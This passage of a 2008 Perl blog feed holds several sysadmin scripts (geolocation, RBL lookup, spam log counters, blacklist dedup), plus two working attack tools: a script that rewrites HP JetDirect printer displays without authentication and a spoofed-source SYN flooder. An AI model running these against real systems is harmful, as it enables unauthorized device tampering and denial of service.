/&gt;    $city = $1;&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;print &quot;\n\n&quot;;&lt;br /&gt;print &quot;+-- Detailed location attempt --+\n&quot;;&lt;br /&gt;print &quot;Information for: $ip ($host)\n&quot;;&lt;br /&gt;print &quot;Best guess: $city - $country\n&quot;;&lt;br /&gt;print &quot;\n\n&quot;;&lt;br /&gt;close(F);&lt;br /&gt;&lt;br /&gt;open(F, &quot;lynx -dump http://netgeo.caida.org/perl/netgeo.cgi?target=$ip|&quot;) || die &quot;$!&quot;;&lt;br /&gt;while(&lt;F&gt;) {&lt;br /&gt;  if(/^.*?CITY:\s+(.*)/) {&lt;br /&gt;    $city = $1;&lt;br /&gt;    if($city eq &quot;&quot;) { $city = &quot;unknown&quot;; }&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;  if(/^.*?STATE:\s+(.*)/) {&lt;br /&gt;    $state = $1;&lt;br /&gt;    if($state eq &quot;&quot;) { $state = &quot;unknown&quot;; }&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;  if(/^.*?COUNTRY:\s+(.*)/) {&lt;br /&gt;    $country = $1;&lt;br /&gt;    if($country eq &quot;&quot;) { $country = &quot;unknown&quot;; }&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;  if(/^.*?DOMAIN_GUESS:\s+(.*)/) {&lt;br /&gt;    $domain = $1;&lt;br /&gt;    if($domain eq &quot;&quot;) { $domain = &quot;unknown&quot;; }&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;print &quot;+-- Guessed location. --+\n&quot;;&lt;br /&gt;print &quot;Location: $city, $state - $country\n&quot;;&lt;br /&gt;print &quot;Domain: $domain\n&quot;;&lt;br /&gt;print &quot;\n\n&quot;;&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/ip-geolocation.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-3486921771872907646</guid><pubDate>Sun, 27 Apr 2008 00:22:00 +0000</pubDate><atom:updated>2008-04-26T19:52:12.232-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl hp printer display</category><title>HP Jet Direct hack</title><description>Yanno on the larger HP laserjet printers, it has that small LCD screen which shows the status messages of the printer?  It will normally say &quot;READY&quot; when everything is operating properly.&lt;br /&gt;&lt;br /&gt;By running this script, you can change that message without having to authenticate or do anything special.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;# this will change the ready message on most (all?) hp laserjets that&lt;br /&gt;# use jetdirect software and have the little LCD display&lt;br /&gt;# - nwo - 4/26/2008&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;use IO::Socket::INET;&lt;br /&gt;&lt;br /&gt;if($ARGV[0] eq &quot;&quot;) {&lt;br /&gt;  print &quot;usage: $0 (ip) (message)\n&quot;;&lt;br /&gt;  print &quot;Example: $0 192.168.0.44 PWNED\n&quot;;&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$ip = $ARGV[0];&lt;br /&gt;$msg = $ARGV[1];&lt;br /&gt;&lt;br /&gt;$socket = IO::Socket::INET-&gt;new(&lt;br /&gt;  PeerAddr  =&gt; $ip,&lt;br /&gt;  PeerPort  =&gt; 9100) or die &quot;$!&quot;;&lt;br /&gt;&lt;br /&gt;print $socket &quot;Ec%-12345X\@PJL JOB\n&quot;;&lt;br /&gt;print $socket &quot;@PJL RDYMSG DISPLAY=\&quot;$msg\&quot;\n&quot;;&lt;br /&gt;print $socket &quot;@PJL EOJ\n&quot;;&lt;br /&gt;print $socket &quot;Ec%-12345X\n&quot;;&lt;br /&gt;&lt;br /&gt;close($socket);&lt;br /&gt;print &quot;$ip has been successfully changed to $msg\n&quot;;&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/hp-jet-direct-hack.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-6563758783274215070</guid><pubDate>Sat, 26 Apr 2008 07:55:00 +0000</pubDate><atom:updated>2008-04-26T16:52:26.980-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl ip RBL</category><title>RBL Check</title><description>This will check to see if a given IP address exists in the various (free) RBL&#39;s in service.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use Net::DNS;&lt;br /&gt;&lt;br /&gt;%list = (&lt;br /&gt;        &#39;sbl-xbl.spamhaus.org&#39; =&gt; &#39;http://www.spamhaus.org&#39;,&lt;br /&gt;        &#39;pbl.spamhaus.org&#39; =&gt; &#39;http://www.spamhaus.org&#39;,&lt;br /&gt;        &#39;bl.spamcop.net&#39; =&gt; &#39;http://www.spamcop.net&#39;,&lt;br /&gt;        &#39;dsn.rfc-ignorant.org&#39; =&gt; &#39;http://www.rfc-ignorant.org&#39;,&lt;br /&gt;        &#39;postmaster.rfc-ignorant.org&#39; =&gt; &#39;http://www.rfc.ignorant.org&#39;,&lt;br /&gt;        &#39;abuse.rfc-ignorant.org&#39; =&gt; &#39;http://www.rfc.ignorant.org&#39;,&lt;br /&gt;        &#39;whois.rfc-ignorant.org&#39; =&gt; &#39;http://www.rfc.ignorant.org&#39;,&lt;br /&gt;        &#39;ipwhois.rfc-ignorant.org&#39; =&gt; &#39;http://www.rfc.ignorant.org&#39;,&lt;br /&gt;        &#39;bogusmx.rfc-ignorant.org&#39; =&gt; &#39;http://www.rfc.ignorant.org&#39;,&lt;br /&gt;        &#39;dnsbl.sorbs.net&#39; =&gt; &#39;http://www.sorbs.net&#39;,&lt;br /&gt;        &#39;badconf.rhsbl.sorbs.net&#39; =&gt; &#39;http://www.sorbs.net&#39;,&lt;br /&gt;        &#39;nomail.rhsbl.sorbs.net&#39; =&gt; &#39;http://www.sorbs.net&#39;,&lt;br /&gt;        &#39;cbl.abuseat.org&#39; =&gt; &#39;http://www.abuseat.org/support&#39;,&lt;br /&gt;        &#39;relays.visi.com&#39; =&gt; &#39;http://www.visi.com&#39;,&lt;br /&gt;        &#39;list.dsbl.org&#39; =&gt; &#39;http://www.dsbl.org&#39;,&lt;br /&gt;        &#39;opm.blitzed.org&#39; =&gt; &#39;http://www.blitzed.org&#39;,&lt;br /&gt;        &#39;zen.spamhaus.org&#39; =&gt; &#39;http://www.spamhaus.org&#39;,&lt;br /&gt;        &#39;combined.njabl.org&#39; =&gt; &#39;http://www.njabl.org/&#39;,&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;if($ARGV[0] eq &quot;&quot;) { die &quot;Need to supply an IP address to check.&quot;; }&lt;br /&gt;$ip = join(&quot;.&quot;, reverse(split(/\./,$ARGV[0])));&lt;br /&gt;&lt;br /&gt;foreach $line (keys %list) {&lt;br /&gt;&lt;br /&gt;        $host = &quot;$ip.$line&quot;;&lt;br /&gt;        $res = Net::DNS::Resolver-&gt;new;&lt;br /&gt;        $query = $res-&gt;search(&quot;$host&quot;);&lt;br /&gt;&lt;br /&gt;        if($query) {&lt;br /&gt;                foreach $rr ($query-&gt;answer) {&lt;br /&gt;                        next unless $rr-&gt;type eq &quot;A&quot;;&lt;br /&gt;                }&lt;br /&gt;                print &quot;$ARGV[0] is listed in $line.\n&quot;;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/rbl-check.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-5865134849360420956</guid><pubDate>Sat, 26 Apr 2008 07:20:00 +0000</pubDate><atom:updated>2008-04-26T02:23:26.405-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl spam counter mailscanner</category><title>Spam counter (again)</title><description>This is similar to the previous one, but with cleaner and sorted output.  It shows the most active spammer IP and email address.&lt;br /&gt;&lt;br /&gt;Output looks like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# cat /var/log/maillog|./spam.pl&lt;br /&gt;RELAY: 209.164.135.147 - HITS: 9&lt;br /&gt;RELAY: 209.164.135.149 - HITS: 6&lt;br /&gt;.....&lt;br /&gt;EMAIL: success@soivotru.info - HITS: 20&lt;br /&gt;EMAIL: specials@123greetings.biz - HITS: 2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#Sep 23 09:16:13 mail MailScanner[30884]: Message i8NEG1E5031187 &lt;br /&gt;#from 219.251.60.206 (xzxhyubzzdgwi@msn.com) to ourdomain.com is spam&lt;br /&gt;&lt;br /&gt;while(&lt;STDIN&gt;) {&lt;br /&gt;        if(/^.*?from\s+(.*?)\s+\((.*?)\)\s+.*?is\s+spam.*/) {&lt;br /&gt;                $orelay{$1}++;&lt;br /&gt;                $email{$2}++;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub srelay {&lt;br /&gt;        $orelay{$b} &lt;=&gt; $orelay{$a};&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub semail {&lt;br /&gt;        $email{$b} &lt;=&gt; $email{$a};&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;foreach $line (sort srelay (keys(%orelay))) {&lt;br /&gt;        print &quot;RELAY: $line - HITS: $orelay{$line}\n&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;foreach $line (sort semail (keys(%email))) {&lt;br /&gt;        print &quot;EMAIL: $line - HITS: $email{$line}\n&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/spam-counter-again.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-8584172955942997163</guid><pubDate>Sat, 26 Apr 2008 07:07:00 +0000</pubDate><atom:updated>2008-04-26T02:12:41.618-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl spam ip counter</category><title>Spammer IP counter</title><description>This parses /var/log/maillog and takes log entries made by MailScanner that indicate an email is spam and grabs the IP address and counts how many times a specific email has tried to deliver spam to our MTA.  This is useful for blacklisting purposes.&lt;br /&gt;&lt;br /&gt;The output looks like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# cat /var/log/maillog*|./parse.pl&lt;br /&gt;1) IP: 12.130.136.153 Count: 7&lt;br /&gt;2) IP: 209.164.135.146 Count: 18&lt;br /&gt;3) IP: 64.73.138.121 Count: 6&lt;br /&gt;4) IP: 193.109.255.100 Count: 3&lt;br /&gt;5) IP: 64.235.47.203 Count: 6&lt;br /&gt;6) IP: 64.235.47.200 Count: 7&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So, 209.164.135.146 would be worth blacklisting.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;while(&lt;STDIN&gt;) {&lt;br /&gt;        # Jan 25 19:57:41 mail MailScanner[22590]: Message l0Q1p7vl022686 from &lt;br /&gt;        # 200.94.142.9 (mibhanoi@bih.net.ba) to ourdomain.com is spam, &lt;br /&gt;        # SORBS-DNSBL, CBL, SBL+XBL, SORBS-SPAM, RFC-IGNORANT-POSTMASTER,&lt;br /&gt;        # RFC-IGNORANT-ABUSE, RFC-IGNORANT-WHOIS&lt;br /&gt;&lt;br /&gt;        if(/^.*?from\s+(.*?)\s+.*?is\s+spam.*/) {&lt;br /&gt;                $h{$1}++;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;close(D);&lt;br /&gt;$i = 1;&lt;br /&gt;foreach $line (keys %h) {&lt;br /&gt;        if($h{$line} &gt; 2) {&lt;br /&gt;                print &quot;$i) IP: $line Count: $h{$line}\n&quot;;&lt;br /&gt;                $i++;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/spammer-ip-counter.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-625493092764014662</guid><pubDate>Sat, 26 Apr 2008 06:53:00 +0000</pubDate><atom:updated>2008-04-26T01:55:03.245-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl spam count spamassassin</category><title>Spam counter</title><description>Uses Spamassassin&#39;s determination of spam to show which email addresses have the most spam directed at them.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;# cat /var/log/maillog*|./spamcount2.pl&lt;br /&gt;#&lt;br /&gt;# Will show which email addresses have the most spam directed at them&lt;br /&gt;# based on spamassassin&#39;s decision of what is and what is not spam&lt;br /&gt;#&lt;br /&gt;# - nwo&lt;br /&gt;&lt;br /&gt;while(&lt;STDIN&gt;) {&lt;br /&gt;        if(/^.*?sendmail.*?:\s+(.*?):\s+to\=\&lt;(.*?)\&gt;,.*/) {&lt;br /&gt;                $spam{$1} = $2;&lt;br /&gt;                next;&lt;br /&gt;        }&lt;br /&gt;        if(/^.*?MailScanner.*?:\s+Message\s+(.*?)\s+.*?is\s+spam.*/) {&lt;br /&gt;                if($spam{$1}) {&lt;br /&gt;                        $count{$spam{$1}}++;&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;foreach $line (sort(keys %count)) {&lt;br /&gt;        print &quot;$line - $count{$line}\n&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/spam-counter.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-2144786293278065700</guid><pubDate>Sat, 26 Apr 2008 06:15:00 +0000</pubDate><atom:updated>2008-04-26T01:55:17.464-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl email abuse count</category><title>Count emails</title><description>One thing I like to keep track of is if there&#39;s any email abuse going on.  One way to determine this is if there&#39;s a specific email address that&#39;s being sent a high volume of email from our domain.&lt;br /&gt;&lt;br /&gt;The output looks something like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Local User     Remote Email                  Count&lt;br /&gt;nwo            nwo@someotherdomain.com        48&lt;br /&gt;joe            joeswife@gmail.com             37&lt;br /&gt;bob            bobsbrother@hotmail.com        92&lt;br /&gt;..etc..&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;#&lt;br /&gt;# Count the amount of emails sent from an address at @ourdomain.com&lt;br /&gt;#&lt;br /&gt;# - nwo - 3/25/2008&lt;br /&gt;&lt;br /&gt;# Open the maillog&lt;br /&gt;#open(F, &quot;/var/log/maillog&quot;) || die &quot;$!&quot;;&lt;br /&gt;#while(&lt;F&gt;) {&lt;br /&gt;while(&lt;STDIN&gt;) {&lt;br /&gt;  if(/^.*?sendmail.*?:\s+(.*?):\s+from\=\&lt;(.*?)\@ourdomain.com\&gt;.*/i) {&lt;br /&gt;    # Create a hash of all of the from email addresses we find&lt;br /&gt;    $emails{$2}++;&lt;br /&gt;    # Create an array with the name of the email address and push&lt;br /&gt;    # the message ID into the array.. ie:&lt;br /&gt;    # @nwo = (&#39;m2PK7tVC002488&#39;, &#39;etc&#39;, &#39;etc&#39;, &#39;etc&#39;);&lt;br /&gt;    push(@$2, $1);&lt;br /&gt;  }&lt;br /&gt;  if(/^.*?sendmail.*?:\s+(.*?):\s+to\=\&lt;(.*?)\&gt;\,.*/) {&lt;br /&gt;    # Create a hash with the name of the message ID and the person that&lt;br /&gt;    # message was sent to, ie:&lt;br /&gt;    # %h=(&#39;m2PK7tVC002488&#39; =&gt; &#39;nwo@someotherdomain.com&#39;);&lt;br /&gt;    $mid{$1} = $2;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# Cycle through the keys of the %emails hash which gives us the names of all&lt;br /&gt;# of the arrays we created because we don&#39;t know what they are yet.&lt;br /&gt;foreach $name (keys %emails) {&lt;br /&gt;  # Now cycle through the array and pick out each message ID&lt;br /&gt;  foreach $id (@$name) {&lt;br /&gt;    # Create a new hash which has the name of $name and $mid{$id} separated&lt;br /&gt;    # by a &#39;|&#39; so we can split it later.&lt;br /&gt;    # %maild{&#39;nwo|nwo@someotherdomain.com&#39; =&gt; &#39;2&#39;} (2 being the amount of times a&lt;br /&gt;    # specific email address is found - this increments each cycle when that&lt;br /&gt;    # email already exists as a key in the %maild hash)&lt;br /&gt;    $maild{&quot;$name|$mid{$id}&quot;}++;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;# OK - now, cycle and sort each of the keys in %maild&lt;br /&gt;foreach $line (sort keys %maild) {&lt;br /&gt;  # Assign the amount of hits for each key to $value&lt;br /&gt;  $value = $maild{$line};&lt;br /&gt;  # Grab the $sender and $receiver from the key, which we&#39;re able to do&lt;br /&gt;  # because that handy &#39;|&#39; delimeter we used when we created the key.&lt;br /&gt;  ($sender, $receiver) = split(/\|/,$line);&lt;br /&gt;  # Now print it!&lt;br /&gt;  print &quot;$sender - $receiver - $value\n&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/count-emails.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-8677623458074183191</guid><pubDate>Sat, 26 Apr 2008 06:07:00 +0000</pubDate><atom:updated>2008-05-02T14:41:50.079-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl dos syn flood proof of concept</category><title>SYN flooder</title><description>This is a pretty simple SYN flooder - spoofs source IP&#39;s and ports, super effective.  I wrote this for stress testing services on my network.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;####&lt;br /&gt;# this is a proof of concept syn flooder written in Perl.&lt;br /&gt;# it&#39;s pretty straight forward.  sends packets with the syn flag&lt;br /&gt;# enabled, causing half open connections sent from random spoofed IP&#39;s.&lt;br /&gt;#&lt;br /&gt;# one addition is the ability to specify a list of ports, rather than just&lt;br /&gt;# targeting a single port.&lt;br /&gt;#&lt;br /&gt;# don&#39;t use this for any malicious purposes.. it&#39;s strictly for stress&lt;br /&gt;# testing routers/networks.&lt;br /&gt;#&lt;br /&gt;# - nwo 10/17/2007&lt;br /&gt;####&lt;br /&gt;&lt;br /&gt;require &#39;getopts.pl&#39;;&lt;br /&gt;&lt;br /&gt;### need to utilize raw sockets.&lt;br /&gt;use Net::RawIP;&lt;br /&gt;Getopts(&#39;t:p:n:&#39;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;### function to create random IP&#39;s.&lt;br /&gt;sub randip () {&lt;br /&gt;  $ip = join(&quot;.&quot;, map int rand 256, 1 .. 4);&lt;br /&gt;  return(&quot;$ip&quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;### set up the socket.&lt;br /&gt;$syn = new Net::RawIP;&lt;br /&gt;&lt;br /&gt;die &quot;Usage: $0 -t (target) -p (port) -n (number of packets)\n&quot;&lt;br /&gt;unless ($opt_t &amp;&amp; $opt_p &amp;&amp; $opt_n);&lt;br /&gt;### allow the user to specify a list of comma seperated ports via the command line.&lt;br /&gt;@ports = split(/\,/, $opt_p);&lt;br /&gt;$list = @ports;&lt;br /&gt;&lt;br /&gt;### super awesome output.&lt;br /&gt;print &quot;Hitting $opt_t on port(s) @ports with $opt_n packets....\n&quot;;&lt;br /&gt;&lt;br /&gt;### start the loop&lt;br /&gt;for($i = 1;$i &lt; $opt_n;$i++) {&lt;br /&gt;  ### randomly select a port out of the @ports array&lt;br /&gt;  $nlist = int rand($list);&lt;br /&gt;  $dport = $ports[$nlist];&lt;br /&gt;&lt;br /&gt;  ### set up the packet..&lt;br /&gt;  $syn-&gt;set({&lt;br /&gt;      ip =&gt; {&lt;br /&gt;             daddr =&gt; $opt_t,&lt;br /&gt;             saddr =&gt; &amp;randip,&lt;br /&gt;            },&lt;br /&gt;&lt;br /&gt;  ### specify the destination port and source port.. &lt;br /&gt;  ### make sure the syn flag is enabled.&lt;br /&gt;      tcp =&gt; {&lt;br /&gt;              dest =&gt; $dport,&lt;br /&gt;              source =&gt; $dport,&lt;br /&gt;              ack =&gt; 0,&lt;br /&gt;              urg =&gt; 0,&lt;br /&gt;              rst =&gt; 0,&lt;br /&gt;              fin =&gt; 0,&lt;br /&gt;              psh =&gt; 0,&lt;br /&gt;              syn =&gt; 1&lt;br /&gt;             }&lt;br /&gt;      });&lt;br /&gt;  ### send the packet! yay!&lt;br /&gt;      $syn-&gt;send;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/syn-flooder.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-2807612573987233288</guid><pubDate>Sat, 26 Apr 2008 05:20:00 +0000</pubDate><atom:updated>2008-04-26T01:55:51.923-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl file modification example</category><title>Duplicate record remover</title><description>I figured I would post this because it&#39;s heavily commented.  I have a program which monitors /var/log/messages for brute force attempts against sshd and when it sees them, it uses iptables to firewall them and also creates an entry into a blacklist file which is then loaded when my firewall script reloads.  Periodically there will be duplicate records in the black list file, so this removes them.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;###&lt;br /&gt;# This removes duplicate records from the &#39;banned-ips&#39; file associated&lt;br /&gt;# with the firewall.  The &#39;banned-ips&#39; file is generated by&lt;br /&gt;# the auto-blacklisting features of the firewall&lt;br /&gt;#&lt;br /&gt;# created by nwo&lt;br /&gt;# 11/1/2007&lt;br /&gt;###&lt;br /&gt;&lt;br /&gt;### Needed because I didn&#39;t want to use system calls.&lt;br /&gt;use File::Copy;&lt;br /&gt;&lt;br /&gt;### Set up the iphash&lt;br /&gt;%iphash = ();&lt;br /&gt;&lt;br /&gt;### Define this as something else if you&#39;re not using the name &#39;banned-ips&#39;&lt;br /&gt;$iplist = &quot;banned-ips&quot;;&lt;br /&gt;&lt;br /&gt;### Get the size of the file for sanity checks later.&lt;br /&gt;$iplist_size = (stat $iplist)[7];&lt;br /&gt;&lt;br /&gt;### Random character generator.  This is to avoid race conditions in /tmp&lt;br /&gt;@chars = (&quot;A&quot; .. &quot;Z&quot;, &quot;a&quot; .. &quot;z&quot;, 0 .. 9);&lt;br /&gt;$randfile = join (&quot;&quot;, @chars[map{rand @chars} (1 .. 8)]);&lt;br /&gt;&lt;br /&gt;### Lets make a backup to work with, rather than modifying the original before&lt;br /&gt;### we know that everything&#39;s clean.&lt;br /&gt;copy($iplist, &quot;/tmp/$randfile&quot;) or die &quot;File cannot be copied: $!&quot;;&lt;br /&gt;### Make sure the file wasn&#39;t nuked, or something, after being copied.&lt;br /&gt;if(-e(&quot;/tmp/$randfile&quot;)) {&lt;br /&gt;        ### Get the file size to compare with the original.  This helps eliminate&lt;br /&gt;        ### race conditions completely.  Only exception would be if someone were to&lt;br /&gt;        ### create a smaller file then the original and then pad it with garbage&lt;br /&gt;        ### to make the size match.  But this, in combination with the random&lt;br /&gt;        ### characters would make it very difficult.&lt;br /&gt;        $tmplist_size = (stat &quot;/tmp/$randfile&quot;)[7];&lt;br /&gt;        if($iplist_size != $tmplist_size) {&lt;br /&gt;                print &quot;File size mismatch between $iplist and /tmp/$randfile.\n&quot;;&lt;br /&gt;                print &quot;This could be an accident, or a race condition exploit attempt.\n&quot;;&lt;br /&gt;                print &quot;Review the /tmp/$randfile file for inconsistancies.\n&quot;;&lt;br /&gt;                exit(1);&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;### Ok, now that we know everything is cool, lets open up the backed &lt;br /&gt;### up copy of the file.&lt;br /&gt;open(F, &quot;/tmp/$randfile&quot;) || die &quot;$!&quot;;&lt;br /&gt;&lt;br /&gt;### Lets also make sure the file contains IP&#39;s.  I&#39;m sure there&#39;s a much fancier way ### of doing this.. but....&lt;br /&gt;while(&lt;F&gt;) {&lt;br /&gt;        if(/^(\d+\.\d+\.\d+\.\d+)/) {&lt;br /&gt;                $iphash{$1}++;&lt;br /&gt;        